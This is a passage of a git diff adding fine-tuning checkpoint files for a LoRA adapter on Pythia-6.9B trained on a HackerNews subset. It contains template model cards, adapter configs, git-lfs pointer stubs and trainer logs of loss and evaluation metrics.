(2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..83c2828f76c5eae36d2050a7e92890ab18e9e0bf --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b99c2a104b11be174708c00310ebf90047797b2a18104988a48f533661ddb59d +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..e153d122ab03142c473d268955b554533ddab09c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ea4f684e509e2590701fbf3b73565ebbba0f6238a9e910fbf67cf6bc75d1f0f9 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..ae44ad6727cf9b3af903ea84902fa6c7f13a5a95 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7d6f4346bdc8a12fcc48535a6002ac46345e4ce1e14bb1f7e9dc3b0ea920641c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..c8d96687f829fbdebf86c73104630c11643191e8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:56d80eccd9a2998f395870ad7a48e8df26a0ef5fdd75c8bb18466e506b523f6a +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..5efac26f685a371984a1480a9d6ae52ef430feea --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/trainer_state.json @@ -0,0 +1,318 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.533333333333333, + "eval_steps": 10, + "global_step": 190, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.11335367737344e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-190/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..4edccb0964de8d3025b6a15f39ff3a688a748572 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:05b48547a77955a229f7a436b2097ee916f34d2917f1f7de6d8093d3f4404367 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..deb668eb6b42370cae97abeafd33e86fd8e175ae --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6b2924307db112e5f4e96ae5e39957f2089adb389a2597fff3042eb60d9741e3 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..fe515b4492af517bd45c5a5c7abbba2b94c5ae37 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1a5087ba42b4dd9dc68875c89890b692068c71de7009ff67cb7d8492bce11049 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..61e40aef0a507fb8add486ba2535aadaa164b9a7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:72a91e63074e9f0fdfc6b1e7414643f389732ccfdfe97b6b3f4c5b0d7a7556a4 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..f819aaf4e907bda8840d9b85c6d97fe7b35ceb58 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/trainer_state.json @@ -0,0 +1,63 @@ +{ + "best_metric": 2.4948627948760986, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20", + "epoch": 0.26666666666666666, + "eval_steps": 10, + "global_step": 20, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3277214397235200.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..ed6c85cdfe5f8c0f9219be59259378d5e4a75538 --- /dev/null +++ 